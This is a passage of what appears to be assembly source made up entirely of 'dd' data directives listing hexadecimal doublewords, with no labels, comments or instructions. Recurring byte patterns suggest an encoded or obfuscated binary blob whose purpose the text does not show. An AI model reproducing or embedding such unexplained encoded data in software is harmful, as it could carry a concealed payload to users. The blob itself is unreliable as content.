7425B8C7h, 8ABB6116h, 8A76B937h, 0CE06EAD7h dd 0E8D11B63h, 0B230540Fh, 0CFD0AA20h, 57B120BFh, 0A76C2D56h dd 3E35461Bh, 0FDC4BA23h, 0D5391860h, 391B30AEh, 50583796h dd 0E0B13256h, 5AAE8FBAh, 0BD2BEBEAh, 220DB152h, 0EAB512BFh dd 0BE305256h, 0EFF19B64h, 0BD305436h, 910799E4h, 90D75337h dd 57B93D51h, 0B3D12CDCh, 5178F7ECh, 134A9BFDh, 0BAA3DB37h dd 811B3256h, 0F12BFA35h, 8C0199AEh, 2CCF3508h, 30332D5Ah dd 8ABED1D6h, 75B13FBFh, 2028E556h, 0E0C9D100h, 0C5EA88E5h dd 0DCD7C69Ah, 603153A7h, 8A39CBD6h, 24095257h, 1488949Bh dd 0BAB37591h, 0B4B13256h, 0AEB13253h, 37A1CA78h, 4276B91Fh dd 0D5B1325Ch, 0FA40794Ch, 101BEE35h, 7A32CF8Dh, 0CF58CE50h dd 0CEB13255h, 3B7BD1D7h, 0AD595371h, 8B13256h, 8E191BB8h dd 75BBDB1Eh, 2DA13256h, 49BA546Eh, 0F50E9B7Ah, 0D6D7530Dh dd 0A421A268h, 0D5B14FD2h, 0B305256h, 0F3220BCh, 0BAB2B859h dd 89313256h, 9031538Bh, 3B343DC6h, 0CBB13256h, 0D5B138BFh dd 0B65B6E56h, 3F7271A7h, 2C70111h, 32468447h, 0AEBBDB37h dd 0FD863256h, 66C29F98h, 0D09847C4h, 15CFB330h, 0F1BEA2C6h dd 0BAB13264h, 5DB138BFh, 95032C56h, 0B4292601h, 42ED1B4Ch dd 0D5B1325Ch, 0D180ACF2h, 5086547Ah, 0A2583E6Bh, 52B13256h dd 0AEB13BDDh, 584D5256h, 0ABB132D6h, 123A5356h, 0E86EDBAEh dd 0F84D3256h, 0A3CFADD4h, 0CD095250h, 0C8A85B5Dh, 0BE1FBD7h dd 0FD486237h, 0D23CDA3h, 12B72B2Dh, 9CD1C736h, 0BAB1325Bh dd 0C312EA5h, 2ECBD56Fh, 956B1E59h, 0CAE5822Fh, 0DA713937h dd 0EAB192D2h, 64585256h, 0E8B13256h, 0BCFCC181h, 901C6972h dd 413C0CA3h, 0CE348243h, 0D5B134BEh, 0A6A4E856h, 13FA42FAh dd 62C7E4D7h, 953A5308h, 0AEA9B059h, 0D2BE3256h, 0ABB13244h dd 0D5B13FBFh, 4EA29B56h, 6576E1BAh, 68185B2Fh, 0D0BEF8B6h dd 0AEB13243h, 57B122BFh, 496B7E56h, 75E305BBh, 0E11F6F4h dd 0F8F1EBE4h, 2503BFAEh, 0B4B72B28h, 0AEB1325Ah, 0CFD5CA44h dd 605B5745h, 0CB498EA0h, 0EAB1A8BFh, 6F303D56h, 0DAB13256h dd 5DB120BFh, 0BDD61D56h, 21DC20FCh, 3D155F5Eh, 6A6FD7BAh dd 168CBB70h, 64586437h, 2AB13256h, 0E27DB621h, 61640F12h dd 2AE3D027h, 0F236732Ah, 0D5B137BFh, 84BC4356h, 0BB3A433Dh dd 0A9586136h, 8BB13256h, 9027A4A8h, 80A0637Eh, 9C69927Eh dd 0ECFD4201h, 8CEA9F02h, 7A10E4D7h, 0B4586737h, 0ACB13256h dd 0AAB0D030h, 8F4C7EA2h, 0B50C33Ch, 1223CDCDh, 13B72B2Dh dd 0B500520Bh, 0DBE8CA05h, 0AA49FC7Dh, 25D7528Fh, 57333DA6h dd 0CAB13256h, 56446CAAh, 0E5B0CA2Bh, 75B181D3h, 0BE3E3D56h dd 3DB13256h, 1ED0FDDDh, 57B4DB1Fh, 0AB883256h, 7F2A9E13h dd 0EAB9B659h, 0F0BE3256h, 0BAB13254h, 0DCD15336h, 4662ED85h dd 0EFD7535Ah, 28BEB759h, 0D5B1325Ah, 0EAB7BE59h, 0F2BE3256h dd 0BAB13256h, 0DEBE9930h, 0AEB1325Eh, 57B3BA59h, 0CAD13256h dd 0F90B6536h, 0B4E3A09Eh, 33073D37h, 38BE5257h, 5DB13246h dd 0AEB138BEh, 0BDB0E256h, 9F328E99h, 8A9851DDh, 3960B330h dd 7A1A53CEh, 0BAB133D0h, 8458CA56h, 47B13256h, 57B13245h dd 0DB8CB33Dh, 3EFFF384h, 0A69295F1h, 0AC445994h, 0B5EB4817h dd 5DB139DAh, 0AEB7DB56h, 45F03256h, 99BF3DA4h, 0D7494FD5h dd 0EA3BB759h, 0F5D13256h, 0DBE6F8Fh, 0E5D7539Dh, 22BEFB5Dh dd 57B1325Bh, 0ABB13ABFh, 7C4E756h, 340B3E02h, 610A5230h dd 319EE6CAh, 0F6D7538Ch, 0A10954AAh, 0FCD7C7D2h, 0ED073DAFh dd 6ABE5257h, 93054A6h, 7AD0B71Bh, 0BAB121D8h, 5DBFDB56h dd 5A463256h, 9F4C8E47h, 9B4F5A32h, 0E3C68054h, 0EAA0DBFDh dd 0DFBA3256h, 1263930Ch, 40A5A8F1h, 0B19C66EFh, 0BED9B2EBh dd 0ABB13266h, 0D5B0B959h, 0E5483256h, 75B135D5h, 3BD75256h dd 3CF821A4h, 47D196A5h, 57B13251h, 10ECAD60h, 0B5A478EFh dd 1D28D30h, 14D0F5DDh, 0DB6FB936h, 4F58F5DDh, 65B13256h dd 5BEB4F5h, 3C3DE77Eh, 73F96A42h, 769868F4h, 2C496957h dd 0BAB121BFh, 23196156h, 6740F0F4h, 0BCE8E328h, 0C75E74FEh dd 0FFA76AF4h, 0EAB13ABFh, 0CE407656h, 0A792344Bh, 5A586C68h dd 8BB13256h, 8B0EA6FCh, 28BEA7B0h, 0D5B1325Eh, 0EAB3B059h dd 14D13256h, 31D75209h, 3CD152ADh, 0AEB137BFh, 6B814A56h dd 0CAD0E175h, 0DD73CB9Fh, 0E8323D56h, 15B13256h, 0B5D15237h dd 5DB132DAh, 0A76EB356h, 36FE2861h, 0CAEACE06h, 0C63F3D03h dd 3B13256h, 75B13258h, 0F948DA5h, 96330F5Dh, 65443F18h dd 0BB3A77FDh, 0BA5852AAh, 0EFB13256h, 7E94CE56h, 90187076h dd 0FB76D89Fh, 8FBFDD0Eh, 0AEB132BEh, 0BD306856h, 0ADA89EBDh dd 0D5B13DBFh, 450E2F56h, 828873E0h, 0BA55CCE2h, 43C2DA50h dd 0AEB126BFh, 702BB256h, 708C28D9h, 0E78406C3h, 5BEC1F04h dd 0C7F651BFh, 0FF3ACEDCh, 5DBCDB5Eh, 763D3256h, 73E47155h dd 30A5AA19h, 0B580C34Ch, 0EAB120BFh, 0BBF13656h, 3958233Dh dd 11FCC6C5h, 6A6F5A12h, 0DDEB390Ah, 293853BDh, 0D3A84924h dd 0EAB139BFh, 9250FC56h, 0D9241A44h, 69860D05h, 0A85853AAh dd 0E4B13256h, 3412C0E8h, 0DE58FBB6h, 26B13256h, 0EFF8F647h dd 4264DEF0h, 0D2BE2D37h, 0AEB13257h, 57B5F0AFh, 574467AEh dd 0B4D1DEDDh, 349F6D5h, 75B13244h, 0BE680CFFh, 875B785Ah dd 0F5FF7C6h, 0EDF896C8h, 0CB4954BFh, 0D5A2B359h, 0E4583256h dd 0A4B13256h, 7C3E9134h dd 0DBF3E50Dh, 108F061Eh, 5759CE01h, 0F1B13256h, 7860D8D7h dd 0E358344Fh, 0B7B13256h, 0FFC297C5h, 5F6BDE6Bh, 356EB336h dd 5890385Dh, 0CBD0FAE1h, 0D5B7B859h, 23303256h, 0F812436h dd 0DB7FB930h, 5D497791h, 47B13256h, 57B13247h, 0B2F3784h dd 46C54068h, 7ABE0641h, 0A22E42F6h, 46F4F580h, 5DB13256h dd 0AEB13CBFh, 0A7AB8A56h, 0DFC8172Dh, 0D07C5E46h, 0D9EEE959h dd 0F9BE5296h, 0BAB13250h, 5DB1B559h, 0CED03256h, 5158E1DDh dd 0F1B13256h, 22529100h, 61D75378h, 75B9DB48h, 0C5373256h dd 7304B4EFh, 2C76389Dh, 51A84FF9h, 0ABB13257h, 0D5A0B159h dd 0E6583256h, 4DB13256h, 81222AC0h, 0F9624940h, 0A158DAFAh dd 57B133DAh, 2AD7CB56h, 0DA21A2ADh, 0EAB129D3h, 75BCDB56h dd 407E3256h, 8A310C1h, 88E4272Bh, 379D7971h, 5C84C0EEh dd 0B46FB975h, 0E559C9D6h, 75B426D2h, 0B5F1CE56h, 5DB123DBh dd 0A5313D56h, 0BEB13256h, 0ABB13250h, 0F4A743CDh, 1131A972h dd 87353DBFh, 0B5B13252h, 5DB12BD4h, 0AEA5DB56h, 69823256h dd 1C64E775h, 46D9ADCDh, 1E4C22DDh, 0CD3920D1h, 46F1CA15h dd 525AC9D6h, 0AEB5FAD2h, 57B7DB56h, 45AD3256h, 0F776B7CCh dd 8B6FB936h, 9231CE16h, 0AB5852A6h, 84B13256h, 4D761EDCh dd 94B92EADh, 81EA29AFh, 0A133EEEDh, 11305437h, 0F1BEB259h dd 0BAB136C7h, 7C3331AFh, 5BB72144h, 31D15216h, 21C9C0D7h dd 0D5B120BEh, 0D4FC4C56h, 3A733A43h, 0F5318820h, 56FCFF12h dd 0F70CA3E3h, 57A1DB37h, 99DB3256h, 0FC6591B7h, 18B997D0h dd 436B3ACBh, 3AD04761h, 0D9BED0ADh, 0AEB13649h, 3660B936h dd 0A452C9D6h, 0D5B2DED2h, 0E53D3D56h, 9CB13256h, 0BAB1325Ch dd 34F20532h, 0E51721D5h, 0BFD126EBh, 0ABB13246h, 0E101CCBEh dd 17879270h, 0A9655ADCh, 412FBCB3h, 5DB120BFh, 1198FD56h dd 80B5D8Dh, 0C4AA1F0Eh, 0BBFB4A2Ch, 0B2CB1DFCh, 2C53B330h dd 3BD75342h, 525255ADh, 0AEB28CD2h, 0A03A5256h, 0B9FC8A30h dd 2552B237h, 0EAB9BF59h, 0F1BE3256h, 0BAB13254h, 0A6315336h dd 68353D26h, 0BEB13255h, 0ABB13247h, 0A93473DCh, 10A85B5Fh dd 23EF3AE7h, 0B7125A99h, 433A54AEh, 5652B2A3h, 57B0BE59h dd 2B483256h, 51BE8AADh, 0EAB133F1h, 75B13EBFh, 8B82CA56h dd 4BA9D1E0h, 68EACBCh, 528FB2FCh, 0AA3CB659h, 57BE3256h dd 0EAB13244h, 75B13FBFh, 85044356h, 0C1ECF4EFh, 0C57656A3h dd 0D5BE286Eh, 0ABB1325Dh, 0D5B134BFh, 0A3CFC356h, 0F580AB5Ah dd 3EBE1F68h, 5DB1330Dh, 770E3D36h, 3640B930h, 0A4D90CD6h dd 0D5B078D2h, 1FF1CE56h, 733B3D36h, 0B5B13256h, 5DB132DBh dd 2C4E5356h, 51A84FF9h, 0ABBCDB36h, 7B773256h, 1D469053h dd 322868E4h, 0DB3F068Eh, 3DAFB930h, 0AEB7B759h, 9C303256h dd 0AF8D9693h, 0D5B3BD59h, 0B5E13256h, 0F4D75237h, 0B561F891h dd 5DB130DBh, 0CFEB6256h, 3749D5D6h, 0CDD05236h, 0B4F1C4EDh dd 0EAB126BEh, 0F2DBAC56h, 729231AEh, 0F9EE448Ch, 0DA35EDEEh dd 31E765EBh, 0CDD06B5Fh, 3D30C9D7h, 0EA74B659h, 134D3256h dd 30BE2CDDh, 5DB1325Ah, 0AEB7BC59h, 0DEBE3256h, 0ABB13256h dd 2556B2AAh, 0EAB135BFh, 8E04A756h, 0EDE20968h, 0A63054AAh dd 2ABEF2D7h, 57B132C5h, 24BE52AEh, 0D5B13251h, 0EAB0B259h dd 20443256h, 0BAB13CBFh, 5DD41356h, 0D9A15767h, 0B0462052h dd 5483668Eh, 0CCCAF5C4h, 60D15250h, 0BC305490h, 0B5D0E122h dd 5DB130D9h, 0CFD05256h, 5B303D0Bh, 0A4B13256h, 0D5B134DEh dd 0EA3F3D56h, 9CB13256h, 0BAB13259h, 1D3197D8h, 0BA58AABCh dd 1AB5CACh, 22567835h, 0D958CE13h, 0E4B13256h, 4F83F0Ch dd 0FB5F9702h, 0B4ED09D7h, 0AEB1325Ch, 0AE558F8Dh, 172DDC10h dd 29D09008h, 0EB4D4FD5h, 73DDB759h, 31483256h, 4EBF8BECh dd 0B3353D50h, 58B13256h, 0ABB125D5h, 0D5A3DB56h, 5A593256h dd 0F961C828h, 5A162C56h, 6D527C1Fh, 0D26CFDA7h, 57B4DB06h dd 5CAF3256h, 5E9D6255h, 0F3CC9DD4h, 4988CE50h, 0BAB8DB66h dd 83CD3256h, 0BC459066h, 58A6CB91h, 0ABB137D7h, 5ED75256h dd 0E5E95398h, 75B73FD4h, 3ACB56h, 5BA21BCFh, 0AEA8BB59h dd 43583256h, 0BEB13256h, 93FA8399h, 0D194DF8Eh, 7E7F1226h dd 4B46FE6Ah, 0DD1CFB2h, 0AEBEBB59h, 5D583256h, 4AB13256h dd 252C589Ah, 36E4D9F2h, 0F73ACB42h, 0BCA84FF9h, 5F3A3D36h dd 0F8B13256h, 6B88530Fh, 0A4E9C766h, 0D5B487D9h, 0FB393D56h dd 9CB13256h, 0BAB1325Ah, 9BD6DECEh, 9AD1AB5h, 0DB9D7B88h dd 0F00BB9AAh, 0DAB72B2Dh, 0EAB123D4h, 7E353D56h, 53B13256h dd 5DB13250h, 0A5B3F970h, 0D5321EC6h, 0ADA8490Dh, 55D1CE42h dd 63D0CF8Eh, 0A2315261h, 703A542Ch, 4DF6BB37h, 0A5585236h dd 0A8B13256h, 27CFD820h, 68F11B20h, 6BD7F75Dh, 1494B3BEh dd 3FBE6237h, 5DB13243h, 0AEBEB159h, 5D583256h, 32B13256h dd 48BA67AEh, 661C2331h, 0DA33B999h, 46B72B2Bh, 0B4812EDDh dd 0AEB1325Dh, 328A6A2Bh, 0E95ECE14h, 8D9C6878h, 0EAA6BA59h dd 67583256h, 98B13256h, 40F6B686h, 0DA78056Ch, 82DAD076h dd 0B5F61D3Bh, 0DDEEBBEAh, 8C748236h, 14D25FE9h, 0BAB5DBBFh dd 47323D56h, 0A1B13256h, 57B126DEh, 0ABBEDB56h, 17333256h dd 89769EC7h, 3363AD93h, 0E9204167h, 0A5F4F593h, 0AEB13254h dd 99063D36h, 7C305237h, 0C5662337h, 0EA86DB37h, 0F4BE3256h dd 0BAB13251h, 5DB0B959h, 694D3256h, 57B0CA13h, 42D13256h dd 0D5B1325Dh, 3536251Ah, 0CA37E1CBh, 0B5B77108h, 5DB139D7h dd 0AEB4DA56h, 302B3256h, 0F08E48C2h, 8E0BB937h, 8AB72B2Dh dd 75B0BA59h, 0DB4D3256h, 26EAB0D5h, 0CEA5344Fh, 57A3B159h dd 0A7593256h, 0CAB13256h, 64303C1h, 3D110AD7h, 0E147BFC8h dd 3BEE6436h, 81DBC4D7h, 0D0BE5337h, 0ABB13257h, 2C86BBA3h dd 8AA175DFh, 7649B137h, 0BA87B759h, 9A443256h, 0B7CC9DD4h dd 57B13050h, 0ABBADB56h, 7F6F3256h, 0D0C7669h, 0A24B3D68h dd 0BA91DB9Dh, 4C583256h, 2FB13256h, 3E243C5Eh, 29F88E4Bh dd 34796209h, 0D500E90Fh, 7AB3CAD5h, 0BAB309DBh, 2032C756h dd 2ABE32AEh, 57B132D7h, 0ABBAB059h, 55D13256h, 6DBEF7B6h dd 75B13256h, 0CBEC737h, 0F44D3310h, 0AEB132D6h, 5795B759h dd 0EB443256h, 0D5BADB36h, 1EBB3256h, 84820A6Ch, 0DE90B1Eh dd 0B53253F2h, 8358C753h, 58B13256h, 0ABB133DBh, 2A9CC756h dd 0E5B13256h, 75B135DAh, 0BB313D56h, 0A1B13256h, 47B4DAD5h dd 57B1325Ah, 0FAA3946Eh, 85423E6Dh, 3BD080EAh, 75B160BFh dd 0B03C3D56h, 3DB13256h, 2DBE2FE1h, 57B13256h, 22BE6137h dd 0D5B1325Ch, 0EAB137BFh, 82FB6156h, 203A58D9h, 5BA84FF9h dd 0AEB123BFh, 0A9D8A656h, 0ABB29511h, 4CC54279h, 1E05B71Fh dd 713AB56Ah, 53EAC765h, 5DB1325Dh, 132609A4h, 0D3F2969Eh dd 29DF8DEh, 55B13256h, 0EACCB759h, 7A443256h, 0BAB13ED9h dd 5B303D56h, 0A1B13256h, 57B132D8h, 53773156h, 0B5B4F2D5h dd 0EAB13BBEh, 50081E56h, 8C19C959h, 3CEFC723h, 13331A3h dd 0AFB72B2Bh, 0ABB8DB1Eh, 0C75F3256h, 0A1ED367Fh, 0FC6AA095h dd 0AA583A11h, 0F5B13256h, 0D556C280h, 0E5AECE04h, 7AE8F5E4h dd 5C3E9134h, 3483E11h, 75B130F8h, 0A8383D36h, 0B4B13256h dd 0AEB1325Bh, 2A1FBC63h, 0F41AA776h, 706F495h, 1D4853B8h dd 75B9DB8Eh, 4BFC3256h dd 0B32CA214h, 0A1D120BFh, 57B130D4h, 0CBD05256h, 0E9B189EEh dd 183A5402h, 0B39A5337h, 0BAB9BC59h, 0DCD13256h, 3AFF084h dd 8F465358h, 0ABB120BFh, 8A759D56h, 2156B2B4h, 8889A6EBh dd 90CCFA3Ah, 0DE0EF8DBh, 21BE3796h, 57B1325Fh, 16518B36h dd 0B4D14D6Dh, 45333137h, 89B72B2Bh, 0B358521Eh, 0FB13256h dd 3BE3B8E9h, 0EE9FE173h, 0CA4BB930h, 0B5B975DFh, 0EAB122BFh dd 6E214256h, 51AB27F6h, 0A53D1AE5h, 51496198h, 0A531609Eh dd 22D06B65h, 5FBE3E11h, 0EAB1324Fh, 75B126BFh, 1D0ED756h dd 0B7A9F55Dh, 3672DD6h, 0C6F7801Dh, 0E0BCCEFEh, 0D5A1DB04h dd 1D7E3256h, 5E61DDACh, 3E513E2Ch, 0CC2C1781h, 1158C803h dd 0BEB13257h, 0ABB1325Ah, 4081D549h, 0D41F03EDh, 363CDF26h dd 0B548F265h, 5DB13DDCh, 0AEBBDB56h, 0F1603256h, 7DAF53FFh dd 0DBD96608h, 3B074DCh, 75B1325Ah, 7B2A83A9h, 0D291C5A3h dd 886C1BABh, 0D2BEB2FEh, 0ABB132E9h, 0D5B126BFh, 0A4927B56h dd 3A043303h, 8E9B58F5h, 701D8506h, 2F303551h, 0BE77312Dh dd 0ABB1325Dh, 3EEBA6D1h, 7FA18125h, 0F6BA97CDh, 0B4583096h dd 0EDB13256h, 0EB94FD9Fh, 41C1C29h, 0D1751E17h, 0D5B08999h dd 0E14D3256h, 36353D8Dh, 0DAB13256h, 5DB123BEh, 0E5664856h dd 3A06252Ah, 2C290A5Fh, 8A5E860h, 283AFBB5h, 0EF0F5409h dd 203B53A9h, 5BA9A97Fh, 0AEB126BFh, 0F71D2E56h, 9C9D282Ah dd 0A4AA2DCDh, 338B45C0h, 165E112Eh, 5931CE7Bh, 9EB2CB57h dd 0AEA5DB36h, 53863256h, 0C2116D04h, 20CF3724h, 0E4E65728h dd 0FBB161Ch, 33D09483h, 0A4443A11h, 52BD75DFh, 570DDBAEh dd 5C443256h, 0D5A3DB8Eh, 0D3BB3256h, 909AD37Ch, 3C591135h dd 219C7960h, 4EB46647h, 57BAB059h, 0AD583256h, 1EB13256h dd 4F2FC261h, 754E1786h, 0B4583256h, 63B13256h, 8185C5EFh dd 8BB4FAF2h, 2C9815F2h, 0DA771967h, 0EAB135D4h, 74383D56h dd 43B13256h, 0B5D1EAA1h, 0AEB1325Ah, 66A9A68Bh, 1267E13Bh dd 41EE94C9h, 0F95869AFh, 10B13256h, 8F20CFD1h, 933E29DBh dd 9EDF82AEh, 22587944h, 42D06EE8h, 0D5B1325Bh, 372288EDh dd 0E06FA90Eh, 40EFB62Fh, 5F71B1E6h, 0AEB13ABFh, 0F8B37556h dd 0A288F905h, 0DDF6BB5Ah, 0E6F6BBAAh, 0B23A5436h, 0BAB13ABFh dd 0BDE9556h, 0F25067F8h, 584953E0h, 0ABB139D7h, 990E5256h dd 8C83319Ch, 148A4EEEh, 0B2313D37h, 3DB13256h, 0D3BC8830h dd 9ED05336h, 25BEF1AEh, 0D5B1324Eh, 0EAA3B059h, 78583256h dd 1FB13256h, 1902759Ch, 5C0F8137h, 8651ADF5h, 0ABBDDB03h dd 0D2013256h, 6EDCDAC6h, 6EBBED4h, 563A08A6h, 0BD305436h dd 2DD0D75Fh, 0D6BECE92h, 0ABB13251h, 0D5B0B759h, 8A4D3256h dd 75B6B759h, 3FBE3256h, 5DB13257h, 0AEB1DAA3h, 0D6EB3256h dd 0B209FEBCh, 0C13C3D50h, 3B13256h, 75B13259h, 0B393DEB3h dd 226763D1h, 0F34EC11Fh, 3787360Dh, 0ABB122BEh, 47B7B856h dd 0C703E276h, 17F424EBh, 1E381DD9h, 5D313DE4h, 0F1B13256h dd 1A0BB937h, 0CBB72B2Dh, 0B3768D59h, 0D9D0CADDh, 4A32C79Fh dd 63353D56h, 3DB13255h, 0AEB7B259h, 0DCBE3256h, 0ABB13256h dd 0C9FDE3D7h, 61D03100h, 8AD05251h, 45493E23h, 0D0BE3A23h dd 0AEB1325Eh, 57B3BC59h, 0CAD13256h, 0C3363D06h, 3B13256h dd 75B13247h, 90ED27FCh, 0E683E640h, 52BDA452h, 254FA8E7h dd 0A367DA62h, 5ABE3256h, 0EAB1325Eh, 75B3BF59h, 0DBD13256h dd 0D8BEF25Dh, 0AEB1324Ah, 57B0BE59h, 20443256h, 0D5B9DB51h dd 0EECB3256h, 5F7E7A21h, 96583EF1h, 0A5B13256h, 47A5F5D5h dd 57B13250h, 57771464h, 0B6582765h, 34ECDA9h, 75B13245h dd 4F58F9F5h, 0F2384AD9h, 0B3B80A06h, 1880B84Ah, 223D9C39h dd 2A44CE13h, 6ABE3E23h, 75B13257h, 0B2C4CDA3h, 5DB6B059h dd 27BE3256h, 57B13257h, 5386CDA3h, 0D5B961BEh, 2ABACB56h dd 75A5B659h, 0B5493256h, 5DB133DCh, 5F58CB56h, 58B13254h dd 0ABB133DBh, 903ACE56h, 0ED88CAAAh, 776FB059h, 45493256h dd 0D6BECE13h, 0AEB1325Eh, 57B3B059h, 0CAD13256h, 0E0E3D36h dd 8B61B930h, 75B54DD5h, 0BAF0B659h, 50583256h, 30B13256h dd 9266160Bh, 228B754Dh, 821A5F8Fh, 0EABD4DD5h, 7594B659h dd 30BE3256h, 5DB13246h, 0AEB139BFh, 9EF40556h, 673D8EDCh dd 59F9BCF1h, 0EAB16EBFh, 75B4DB56h, 0BB573256h, 0E56B1B76h dd 514ECDA9h, 57A5DB36h, 98EF3256h, 3CFEE909h, 0D52B1AB7h dd 55416BA2h, 99296618h, 0E4D0ED99h, 0AEB13253h, 57B9B759h dd 2EBE3256h, 0D5B13254h, 41425336h, 75B0BE59h, 53483256h dd 0A24ECD59h, 0AEBAB159h, 58D13256h, 0ABB132D8h, 30E3D56h dd 0FACEB137h, 28353D53h, 53B13256h, 5DB1325Eh, 0FA535957h dd 9D6C578Ah, 0ADA14DD5h, 0D5C1B759h, 63BE3256h, 75B1325Ah dd 0BAB135BFh, 0BCEEAB56h, 4DDF8790h, 57B9BA59h, 24BE3256h dd 0D5B13254h, 12F05336h, 9CB575DDh, 0BAB13251h, 32B4DFEEh dd 25F836D2h, 0BE443E09h, 0ABB13250h, 7E7240B1h, 87585D0Bh dd 80B13257h, 43B575DDh, 52BD6DDDh, 0AEB134D8h, 963A5256h dd 42D0C0DDh, 0D5B13316h, 0EAB13FBFh, 9FDCAC56h, 0E8FB8D5h dd 2655F501h, 0E93AB8EFh, 0DCD75252h, 4C306395h, 0B8B0055Bh dd 0B53A5309h, 9CD1C75Ah, 0BAB1325Bh, 81BC8D1Dh, 6DE452FAh dd 0B34A7962h, 64316479h, 0EED06B7Fh, 6FBE3A09h, 75B13220h dd 0BAB0B459h, 0F4D3256h, 0AAE6B9AEh, 57B123BFh, 54079756h dd 0C2F57B70h, 4870ECF9h, 9B12410Dh, 0EF9A2D81h, 8B2CA46h dd 0AEA3DB42h, 183D3256h, 347852C6h, 49422AA0h, 6841B9E5h dd 41AE9C96h, 0DABD6DDDh, 0D6B8D7D6h, 749A538Fh, 0D7E152AFh dd 0CAE80C9Fh, 0DAB4D9D5h, 0EAB133DEh, 2F49CE56h, 0BAB137BFh dd 9B6A8A56h, 0DB58AE49h, 58B13256h, 0ABB133D7h, 923ACB56h dd 0EABADB52h, 1F703256h, 637F6C66h, 626E2B62h, 0A2EEB975h dd 57B8DB36h, 74B23256h, 0CEEC0DAFh, 8B5DEFE9h, 7AB56D7Dh dd 0BAB130D1h, 0A4D05256h, 0A1B4D9D5h, 57B133DBh, 21B2CE56h dd 0D3A23C9Fh, 0EAA1BD59h, 0FFBE3256h, 0BAB1325Ch, 5DB137BFh dd 5509856h, 0DCD1D7FDh, 0ABBCDB9Dh, 6FB33256h, 94F5D8A2h dd 7D5E870h, 0DB276B64h, 5EA14DD5h, 0AEBBB759h, 31D13256h dd 1F51DAECh, 20F05309h, 61D1EB7Dh, 8B0E3DADh, 0BF3E3D37h dd 3DB13256h, 0CFEE64AEh, 56B06EDFh, 544E8AAEh, 0C758CDA9h dd 0CAB13256h, 25F3103h, 28FAFFD4h, 7BBBFA25h, 43FA4478h dd 57B48B50h, 0A2583256h, 5FB13256h, 0C41B25CFh, 71FCF64h dd 0B75899A5h, 1B13256h, 4E77E049h, 68ABB3E8h, 0D7F83C22h dd 2A4DECBFh, 0EB353DA9h, 8CB13256h, 52E75237h, 5DB1325Eh dd 1BB06718h, 7DDB9119h, 62D06908h, 0D5B134BFh, 75738A56h dd 7AE3485Fh, 0BAB13AD3h, 5F373D56h, 0CEB13256h, 57A1F037h dd 0ABB139BFh, 0ADF0B56h, 0F2E0C36Ch, 22248612h, 563ACB03h dd 0E2BE5236h, 603A54A1h, 57BFDA37h, 0C5FA3256h, 0DFE781CFh dd 0EB03AEB2h, 0CC054A22h, 0DBEA5336h, 0B44DF6D5h, 0AEB13258h dd 1EC8020Dh, 0F82C6D73h, 97545AA7h, 8AD18E2Ah, 75B126BEh dd 0EB428956h, 0D870799Ch, 0E95D4AAAh, 0E410AFA3h, 0FE45A928h dd 0D943B339h, 0B5EE560Fh, 9DD0EBDDh, 0BAB13256h, 0FF5BB30Ch dd 0A1B72BEBh, 57B121D0h, 0ABBFDB56h, 864E3256h, 0D0D5D00Dh dd 7D5BE2DEh, 0D2359187h dd 100BB9AFh, 47B72B2Dh, 57B13250h, 66B3DF99h, 6ED1D19Dh dd 0ED2F3854h, 0BC8253AEh, 0BA8EB1AAh, 59F2B659h, 2CBE3256h dd 57B13257h, 42B6B9AAh, 0D5B1325Ch, 0BA357989h, 9F0829B1h dd 0CF4E3741h, 5DA1DB5Ah, 0DDCF3256h, 5CEC5D02h, 3A9BFB73h dd 3FDAFB92h, 9F4E36C7h, 74333D5Eh, 46B13256h, 5A3E3D06h dd 0A1B13256h, 57B133D2h, 0BE59CE56h, 0DAB13252h, 0EAB133DFh dd 0B5BACB56h, 0BA8BB759h, 0D3BE3256h, 0AEB13257h, 37B6B9AAh dd 0CDEF6236h, 4A10F2D7h, 0EABEDA37h, 22B53256h, 0ABCC0BC1h dd 0CD0DFCDDh, 117DB621h, 98305412h, 0CAEA0B43h, 0D5B164BFh dd 0EB3D3D56h, 89B13256h, 53A5F5D5h, 5DB1325Dh, 7AD9B8ABh dd 0C93FD78Ah, 0A4767BADh, 0D5B139D1h, 0EAB7DB56h, 11593256h dd 51DB18DEh, 0A24E0ABFh, 0A75852A9h, 0EBB13256h, 5F708A70h dd 5E993A9Dh, 278CE5D7h, 7AD002F6h, 0BAB138D9h, 3E05256h dd 0B9BAD9D7h, 0DED024D9h, 5444CE13h, 3C443E23h, 0EAB1325Bh dd 0BC460689h, 36803B62h, 32F49E5h, 0A6C4CD3Ah, 604ECAAFh dd 0A4E86236h, 0D5B132D6h, 0A7595356h, 7AB13255h, 0BAB133D4h dd 9DBACB56h, 0AE98B659h, 50583256h, 20B13256h, 2A4C6FD7h dd 0E4581131h, 9CB13255h, 0BAB13245h, 5BE83097h, 815FD971h dd 0E52F3568h, 0E5F1B6EDh, 5E1795E2h, 0D348CE13h, 9F333D51h dd 53B13254h, 5DB1325Bh, 85FF331Ah, 3E534CBEh, 47ADCDFAh dd 29F4CD5Dh, 0EAA0B059h, 79583256h, 18B13256h, 25A32567h dd 5DE2E564h, 374A5FBFh, 5EA692EFh, 56D0CE62h, 0E5B13629h dd 75B11AD2h, 0C532C756h, 0D9BE325Ah, 0AEB1324Bh, 57B0B359h dd 42483256h, 0D5B13208h, 0EC343D36h, 7AB13256h, 0BAB132D6h dd 0AD0E3D56h, 514E8A37h, 0D7BECDA9h, 0ABB1325Ch, 54818236h dd 0E5C11289h, 70085353h, 53B13256h, 5DB1325Dh, 0BA65D22Ah dd 90A75DB1h, 58E5D46Bh, 5ED752FDh, 0EAA0DB95h, 0AF363256h dd 0B363FA5Dh, 37982281h, 0D918863Eh, 36668201h, 544FECBFh dd 0AA32CEA9h, 6EBE3746h, 75B132D2h, 0AACEB1AFh, 9A343D50h dd 0CEB13256h, 1726D8E8h, 170E5429h, 0DAF053EEh, 0EAB135D4h dd 743A3D56h, 46B13256h, 52B575DDh, 0AEB133D4h, 83ACE56h dd 0A359525Ah, 19B13256h, 0B3E3B42Ah, 9CEC6E20h, 0BAB1325Ch dd 0FB432119h, 6026C4A2h, 0D6EF0286h, 7A17A081h, 81585359h dd 8AB13257h, 75B122BFh, 911FB56h, 52AEDD99h, 98B9AB83h dd 3F6353C3h, 0ABBCDB9Ah, 832D3256h, 56EC941Bh, 19039B5Fh dd 0DBFCF221h, 52B575DDh, 0AEB138D5h, 0E8BE5256h, 6A305491h dd 0B5D08EC5h, 0E01F8930h, 75B13EBFh, 0BCD44556h, 0D2FABAEDh dd 6E8D6D28h, 83A53CEh, 4244CE5Ah, 0D5B1328Bh, 0BD40B936h dd 75B13DBFh, 0C6CA8B56h, 0E964CF1h, 0FD04CFD5h, 0B45A6FFh dd 0EC3A530Fh, 54D75252h, 0E5779A94h, 